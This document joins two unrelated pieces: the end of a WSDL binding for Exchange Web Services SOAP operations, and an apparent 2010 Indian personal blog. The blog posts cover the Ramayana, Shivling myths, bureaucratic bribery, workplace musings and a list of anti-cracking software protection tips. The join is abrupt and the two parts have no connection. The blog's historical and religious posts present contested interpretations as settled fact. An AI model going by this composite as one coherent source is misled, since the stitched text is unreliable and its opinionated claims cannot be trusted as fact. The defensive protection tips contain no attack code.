<soap:header message="tns:GetFolderSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="GetFolderResult" use="literal" />
<soap:header message="tns:GetFolderSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="ConvertId">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/ConvertId" />
<wsdl:input>
<soap:header message="tns:ConvertIdSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="ConvertIdResult" use="literal" />
<soap:header message="tns:ConvertIdSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="CreateFolder">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/CreateFolder" />
<wsdl:input>
<soap:header message="tns:CreateFolderSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:CreateFolderSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:CreateFolderSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:CreateFolderSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="CreateFolderResult" use="literal" />
<soap:header message="tns:CreateFolderSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="DeleteFolder">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/DeleteFolder" />
<wsdl:input>
<soap:header message="tns:DeleteFolderSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:DeleteFolderSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:DeleteFolderSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:DeleteFolderSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="DeleteFolderResult" use="literal" />
<soap:header message="tns:DeleteFolderSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="UpdateFolder">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/UpdateFolder" />
<wsdl:input>
<soap:header message="tns:UpdateFolderSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:UpdateFolderSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:UpdateFolderSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:UpdateFolderSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="UpdateFolderResult" use="literal" />
<soap:header message="tns:UpdateFolderSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="MoveFolder">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/MoveFolder" />
<wsdl:input>
<soap:header message="tns:MoveFolderSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:MoveFolderSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:MoveFolderSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:MoveFolderSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="MoveFolderResult" use="literal" />
<soap:header message="tns:MoveFolderSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="CopyFolder">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/CopyFolder" />
<wsdl:input>
<soap:header message="tns:CopyFolderSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:CopyFolderSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:CopyFolderSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:CopyFolderSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="CopyFolderResult" use="literal" />
<soap:header message="tns:CopyFolderSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="Subscribe">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/Subscribe" />
<wsdl:input>
<soap:header message="tns:SubscribeSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:SubscribeSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:SubscribeSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:SubscribeSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="SubscribeResult" use="literal" />
<soap:header message="tns:SubscribeSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="Unsubscribe">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/Unsubscribe" />
<wsdl:input>
<soap:header message="tns:UnsubscribeSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:UnsubscribeSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:UnsubscribeSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:UnsubscribeSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="UnsubscribeResult" use="literal" />
<soap:header message="tns:UnsubscribeSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="GetEvents">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/GetEvents" />
<wsdl:input>
<soap:header message="tns:GetEventsSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:GetEventsSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:GetEventsSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:GetEventsSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="GetEventsResult" use="literal" />
<soap:header message="tns:GetEventsSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="SyncFolderHierarchy">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/SyncFolderHierarchy" />
<wsdl:input>
<soap:header message="tns:SyncFolderHierarchySoapIn" part="Impersonation" use="literal"></soap:header>
<soap:header message="tns:SyncFolderHierarchySoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:SyncFolderHierarchySoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:SyncFolderHierarchySoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="SyncFolderHierarchyResult" use="literal" />
<soap:header message="tns:SyncFolderHierarchySoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="SyncFolderItems">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/SyncFolderItems" />
<wsdl:input>
<soap:header message="tns:SyncFolderItemsSoapIn" part="Impersonation" use="literal"></soap:header>
<soap:header message="tns:SyncFolderItemsSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:SyncFolderItemsSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:SyncFolderItemsSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="SyncFolderItemsResult" use="literal" />
<soap:header message="tns:SyncFolderItemsSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>

<wsdl:operation name="GetItem">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/GetItem" />
<wsdl:input>
<soap:header message="tns:GetItemSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:GetItemSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:GetItemSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:GetItemSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="GetItemResult" use="literal" />
<soap:header message="tns:GetItemSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="CreateItem">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/CreateItem" />
<wsdl:input>
<soap:header message="tns:CreateItemSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:CreateItemSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:CreateItemSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:CreateItemSoapIn" part="RequestVersion" use="literal"/>
<soap:header message="tns:CreateItemSoapIn" part="TimeZoneContext" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="CreateItemResult" use="literal" />
<soap:header message="tns:CreateItemSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="DeleteItem">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/DeleteItem" />
<wsdl:input>
<soap:header message="tns:DeleteItemSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:DeleteItemSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:DeleteItemSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:DeleteItemSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="DeleteItemResult" use="literal" />
<soap:header message="tns:DeleteItemSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="UpdateItem">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/UpdateItem" />
<wsdl:input>
<soap:header message="tns:UpdateItemSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:UpdateItemSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:UpdateItemSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:UpdateItemSoapIn" part="RequestVersion" use="literal"/>
<soap:header message="tns:UpdateItemSoapIn" part="TimeZoneContext" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="UpdateItemResult" use="literal" />
<soap:header message="tns:UpdateItemSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="SendItem">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/SendItem" />
<wsdl:input>
<soap:header message="tns:SendItemSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:SendItemSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:SendItemSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:SendItemSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="SendItemResult" use="literal" />
<soap:header message="tns:SendItemSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="MoveItem">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/MoveItem" />
<wsdl:input>
<soap:header message="tns:MoveItemSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:MoveItemSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:MoveItemSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:MoveItemSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="MoveItemResult" use="literal" />
<soap:header message="tns:MoveItemSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="CopyItem">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/CopyItem" />
<wsdl:input>
<soap:header message="tns:CopyItemSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:CopyItemSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:CopyItemSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:CopyItemSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="CopyItemResult" use="literal" />
<soap:header message="tns:CopyItemSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="CreateAttachment">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/CreateAttachment" />
<wsdl:input>
<soap:header message="tns:CreateAttachmentSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:CreateAttachmentSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:CreateAttachmentSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:CreateAttachmentSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="CreateAttachmentResult" use="literal" />
<soap:header message="tns:CreateAttachmentSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="DeleteAttachment">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/DeleteAttachment" />
<wsdl:input>
<soap:header message="tns:DeleteAttachmentSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:DeleteAttachmentSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:DeleteAttachmentSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:DeleteAttachmentSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="DeleteAttachmentResult" use="literal" />
<soap:header message="tns:DeleteAttachmentSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="GetAttachment">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/GetAttachment" />
<wsdl:input>
<soap:header message="tns:GetAttachmentSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:GetAttachmentSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:GetAttachmentSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:GetAttachmentSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="GetAttachmentResult" use="literal" />
<soap:header message="tns:GetAttachmentSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>

<wsdl:operation name="CreateManagedFolder">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/CreateManagedFolder" />
<wsdl:input>
<soap:header message="tns:CreateManagedFolderSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:CreateManagedFolderSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:CreateManagedFolderSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:CreateManagedFolderSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="CreateManagedFolderResult" use="literal" />
<soap:header message="tns:CreateManagedFolderSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>

<wsdl:operation name="GetDelegate">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/GetDelegate" />
<wsdl:input>
<soap:header message="tns:GetDelegateSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:GetDelegateSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:GetDelegateSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:GetDelegateSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="GetDelegateResult" use="literal" />
<soap:header message="tns:GetDelegateSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>

<wsdl:operation name="AddDelegate">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/AddDelegate" />
<wsdl:input>
<soap:header message="tns:AddDelegateSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:AddDelegateSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:AddDelegateSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:AddDelegateSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="AddDelegateResult" use="literal" />
<soap:header message="tns:AddDelegateSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>

<wsdl:operation name="RemoveDelegate">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/RemoveDelegate" />
<wsdl:input>
<soap:header message="tns:RemoveDelegateSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:RemoveDelegateSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:RemoveDelegateSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:RemoveDelegateSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="RemoveDelegateResult" use="literal" />
<soap:header message="tns:RemoveDelegateSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>

<wsdl:operation name="UpdateDelegate">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/UpdateDelegate" />
<wsdl:input>
<soap:header message="tns:UpdateDelegateSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:UpdateDelegateSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:UpdateDelegateSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:UpdateDelegateSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="UpdateDelegateResult" use="literal" />
<soap:header message="tns:UpdateDelegateSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>




<wsdl:operation name="GetUserAvailability">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/GetUserAvailability" />
<wsdl:input>
<soap:body parts="GetUserAvailabilityRequest" use="literal" />
<soap:header message="tns:GetUserAvailabilitySoapIn" part="SerializedSecurityContext" use="literal" />
<soap:header message="tns:GetUserAvailabilitySoapIn" part="ProxyRequestTypeHeader" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="GetUserAvailabilityResult" use="literal" />
<soap:header message="tns:GetUserAvailabilitySoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>


<wsdl:operation name="GetUserOofSettings">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/GetUserOofSettings" />
<wsdl:input>
<soap:body parts="GetUserOofSettingsRequest" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="GetUserOofSettingsResult" use="literal" />
<soap:header message="tns:GetUserOofSettingsSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>


<wsdl:operation name="SetUserOofSettings">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/SetUserOofSettings" />
<wsdl:input>
<soap:body parts="SetUserOofSettingsRequest" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="SetUserOofSettingsResult" use="literal" />
<soap:header message="tns:SetUserOofSettingsSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
</wsdl:binding>
</wsdl:definitions>

Taste Of India

2010-07-10T21:54:00.004+05:30

Rama Vs Ravana | Hero Vs Villian

2010-07-09T11:44:00.003+05:30

Rama was a great North Indian king (Aryans, who came to India by crossing river Indus) . No doubt about that. He came from Ayodhya (As the poet[Rishi Valmiki] said because, the temple in Ayodhya was constructed in Gupta's period) in those days of no means of transportation, reached upto Lanka and defeated a great king, renowned for his valor,might and bhakti.

When her (cousin) sister's beautiful breasts and cute nose were cut into pieces by an indifferent and angry Lakshman. The sister complains to his imperial majesty, Ravana.

Injustice and insult was done to a lady, princess Surpanakha. As a brother and as a just King, Ravan wanted to teach the Rama brothers a lesson. Sita was forcibly taken away, but not raped or force-married. She was given a place, with maids appointed to look after.

Ravana was a great astrologer and already seen his future even though, he blessed his enemy to construct a bridge, knowing well that it is to his peril.

In one more incident, the Maryada Purushottam killed another mighty one, Bali, by shooting an arrow, hiding behind a tree.

Here we go once more, the Purushottam sent a fully pregnant Sita into the forest( He did not even arrange for some maids or helpers for her) because he did'nt have the courage to face the public. And all he looked for was to protect his "maryada" reputation.

Still, the great poet made his Hero a hero. And Ravana a villain.

After all, avatars are avatars..

Ref: THE DISCOVERY OF INDIA , Indus Civilization Sites in India;New Discoveries , Ayodhya: The History of Ayodhya from the 7th Century Bc to the Middle of the 18th Century : Its Development in to a Sacred Centre... (Groningen Oriental studies) , Avatar (Two-Disc Blu-ray/DVD Combo) [Blu-ray] , The Ramayana

Monsoon | Weather INDIA | Latest | Satellite | INSAT

2010-06-16T14:19:00.004+05:30

Haridwar | Uttarnchal | Dev-Bhumi

2010-06-02T11:01:00.000+05:30

Story Behind Shivling | Lingam | Worshiped

2010-05-05T14:42:00.000+05:30

I was confused with this issue from a while back, I tried to discuss this with some of so called Gurus, but they always gave the same answer " You are too young to understand". I then decided to do some sort of research on this question. Why are we worshiping शिवलिंग (Symbol Of Shiva)?

My finding leads to multiple stories which may explain why are we doing so;

स्कन्द पुराण (Skand Purana) says LAYANAALLINGA MUCHCHYATE. That means, लिंग (Phallus) is प्रलय (Holocaust). The प्रलय (Holocaust), where everything is dissolved in लिंग (Phallus), even Vedas and other scriptures too. All of them then reappear from the लिंग (Phallus) when the creation begins once again.

According to a story, One day, Shankar was roaming in दारुकवन (a forest)completely naked and carrying his own लिंग (Phallus) in hands. His appearance and activity had a wild affect on the women folk of the sages who inhabited in the forest. The sages then cursed to Shiva that his लिंग (Phallus) will fell on earth. Indeed, the लिंग (Phallus) fell upon the earth but began to burn everything because of its intense flames. All the gods prayed Lord Shiva to end this ordeal. At their prayers, Lord Shiva installed the लिंग (Phallus) in the vagina of धरती माँ (Goddes Earth) . In this form, शिवलिंग (Symbol Of Shiva) is still worshipped all over the world. शिवलिंग (Symbol Of Shiva) installed in vagina in fact symbolizes divine nature and the supreme masculine force.

According to one more tale in नारद पंचरात्र (Narad Pancharatra), all other gods except Shiva are womanish in virtues. With the power of their repetative sins, ब्रह्मा(Brahma), विष्णु(Vishnu) and दक्षा(Daksha) produced कलिका देवी (Kaalika Devi). Devi asked them to seek a boon. They said- "O mother! You please gain Lord Shiva in the incarnation of Daksha's daughter."

Kaalika said- "How can I do it. He is a small boy and no match for me."

Brahma assured her that Shiva was not a small boy and was in fact a complete man. Kaalika then took birth as Daksha's daughter, सती (Sati). In due course of time, she got married to Lord Shiva. Whenever and wherever radiance resulted from their copulation, it fell on the earth and assumed the form of शिवलिंग (Symbol Of Shiva) installed in vagina.

One more story about this says, Once, शुक्राचार्य (Shukracharya) went to कैलाश (Kailash Mountain in himalaya) to see Shiva but he could not see him because Shiva was then copulating with शक्ति (Shakti). Short tempered शुक्राचार्य (Shukracharya) cursed Shiva that only his union with the feminine genital would be worshipped.

आँचल विहीन बचपन | एक कटु सत्य

2010-04-07T18:12:00.000+05:30

आँचल सिर्फ एक नाम नहीं है, यह हमारे-तुम्हारे बचपन का एक अभिन्न अंग था! अगर आपको विश्वास नहीं है तो इस नाम तो ध्यान में रखकर अपने अतीत में एक डुबकी लगा कर देखिये और फिर अगर आप मुझसे सहमत हैं ना हो तो कृपया अपना विचार प्रस्तुत करें.

मैं अपने "Say Sorry Beta Generation" को यह बताना चाहूँगा कि इस "आँचल" शब्द का "आंग्ल भाषा" में कोई अर्थ नहीं है. आज भी हम अंग्रेजी में इसे शाल या गोद(लैप) से अंकित करते हैं. जबकि आँचल है प्रतीक ममता का, अगर साफ़ शब्दों में कहूं तो " यह नारी समाज के उपरार्ध की लज्जा निवारण हेतु एक वस्त्र था". जैसे - जैसे हमारा समाज उन्नति के पथ पर अग्रसर होता गया वैसे - वैसे इसके रूप परिवर्तित होते गए.

एक बार किसी प्रसिद्द गीतकार ने कहा था, " आज कल के गाने कुल ३२ शब्दों से ही बनते हैं" और अब उस ३२ मैं से एक और शब्द और कम हो गया है, "आँचल".... आने वाले समय में इन गानों का क्या अर्थ होगा?
"छोड़ दो आँचल, ज़माना..." "लाल दुप्पटा...."

चलिए अगर आप को अभी भी लगता है कि मैं सिर्फ कोरी बकवास कर रहा हूँ तो कृपया नीचे लगी हुई तस्वीर पर गौर करें यह तस्वीर एक बहु- राष्ट्रीय कंपनी की वेब साईट से ली है.

अगर आप को पता चल रहा है की कंपनी यहाँ पर क्या दिखाना चाह रही है तो कृपया मुझे भी बताएं...

Ego | Govt. Employee

2010-03-27T12:33:00.001+05:30

Ego ego ego, we all posses it. I am not trying to hurt anyones and also not even trying to describe the one we have. The ego I have is common and has nothing new to explain. I even don't want to put your precious time to go in vain.

The EGO I am trying to explain here is belongs to any Government Employee( at least in India). This ego is ready to put you down at any cost if you tries to over-ride. If you want to check it out. Try to follow these steps:

Look for your task in govt. dept.
Wait till the time someone ask for a bribe.
Ask his name to report to his senior.
Then try to finish your work.

You can have your work done without the bribe but never after asking his name to complain.

Go-To Guy 'The Other Side'

2010-03-12T10:26:00.001+05:30

Thanks for reading the previous blog on Go-To Guy. As I promised, I am back with the sequel. I received a few comments on the same, but they are just like a sympathy nothing more. The quote you may heard "Once a back-bencher always a back-bencher" same way this characteristic is heriditery. The best way to identify is;

"If you have itching, when you find something wrong inside any machinery (even though you don't know anything about it) or you find some sort of curiosity while reading/learning the inside of something. e.g. You are a computer professional but you are feeling good while learning about the air pressure in Boeing's 747 tyres."

Now-a-day everyone wanna earn more, which is bit difficult in the private organisations. So you need to find the other way out. you need to say 'YES' to everything and sooner you will become a Go-To Guy. If you really want you check the benefits of this category, then move a bit in the flash-back and remember those who got laid-off during the recession, Are they really a problem solver or in simple words go-to-guys, on the other hand you may find the people who retain there position without any jobs assigned to them in this period. How???

Flowers - An Effort

2010-03-07T21:28:00.003+05:30

Two Types Of People

2010-02-17T14:35:00.003+05:30

You must remember the famous dialogue of Amitabh Bachchan in Hum about the type of cockroaches in the world.

[Two type cockroaches in the world. एक गटर का, एक सोसाइटी का... ]

Or you may consider the dialogue in 'Bunty Aur Babli' delievered again by Bachchan family, Abhishek Bachchan

[ये जो वर्ल्ड है ना वर्ल्ड, इसमे दो तरह के लोग होते है...]

Now I have one more quote to specify the type of people in this world. As you know already that I know computer little little, so the thought must be in the language I use,

[There are only 10 types of people in the world. Those who understand binary and those who don’t…]

You see that every other thought is saying that only two types of people there in this world but, we learned that at minimum there are three class in the society; Upper Class, Middle Class and Lower Class

In few of the cases we found even more classes like upper middle class, lower middle class... But in this world only one statement is true that "There is False". So in totality we found again two things True or False. Even in the universe of computers we have 0 and 1 only. So how come these new classes came in? If you have the answer then please leave with comments or read further.

I read some-where the solution of the problem. "इस दुनिया में दो तबके होते हैं, मजदूर और कामगार". In simple words for our "Say Sorry Beta Generation". There are only two classes in the world, Employer and Employee.

Default True In Life

2010-02-01T17:20:00.002+05:30

Like the world of computer, we also have some expressions having some default values. These expressions got evaluated by the custom, religion and our surroundings, as we have a primitive data type boolean in JAVA which has a default value 'false'.

Let me try to put this as a scenario, yesterday I am watching star screen awards and whenever I listen nominations for any category, at the back of my mind I decided a winner using those default values I have in my sub-conscious mind. Or let me ask if there is a cricket match between Australia and Pakistan going on Tv and you have nothing to watch, how come you feel that this team should win. For you, both are the rival teams as you are Indian.

Do you feel the same, this is the default true I am talking about. Allow me put one more example; we are always saying "अरे तुम्हे तो कुछ नहीं आता" or "अरे ऐसा नहीं करते" mostly with our juniors and primarily with girl-friend/wife (At least I do). This is again a perfect picture of default true, when we (boys) were at 5, if we asked for toffee, Papa gave 10 paisa and said, go to that shop and have it. This is not happening with the girls at least in India, they were/are learning a lot of things by listening it from other while we boys learnt them by practicals. So in nett their circle of default true is much bigger than us.

Please drop ur comments so, that at least I can reduce my default true.

Software Protection Strategies

2010-01-25T14:56:00.000+05:30

The only way to prevent someone from reverse-engineering your code is not to give it to them On the other hand, you can't expect people to pay for functionality they don't get (unless you're Microsoft), so your customers need to be able to execute the code.

The step which may require in place:

Never use meaningful file or procedure names such as IsValidSerialNum (duh.) If you do use functions for checking purposes, place at least some required code that your program really needs, in such a function. When the cracker disables the function, the program will produce incorrect results.
Don't warn the user right after a violation is made. Wait later, maybe until the next day or two (crackers hate that).
Use checksums in DLL's and in the EXE. Have them check each other. Not perfect but it just makes it harder to crack.
Pause a second or two after a password entry to make brute force cracking unfeasible. Simple to do, but rarely done.
Self-heal your software. You know error correction like modems and hard drives use. The technology has been around for years, and no one uses it on their software? The best thing about this is that if the cracker used a decompiler, they may be looking at a listing that is no longer valid.
Patch your own software. Change your code to call different validation routines each time. Beat us at our own game.
Store serial numbers in unlikely places, like as a property of a database field.
Store serial numbers in several places
Don't rely on the system date. Get the date of several files, like SYSTEM.DAT, SYSTEM,DA0 and BOOTLOG.TXT and compare them to the system date. Require that the time be greater than the last run.
Don't use literal strings that tell the user that their time is expired. These are the first things to look for. Build strings dynamically or use encryption.
Flood the cracker with bogus calls and hard-coded strings. Decoys are fun.
Don't use a validation function. Every time you validate the user, write your validation code inline with the current process. That just makes more cracking for the cracker.
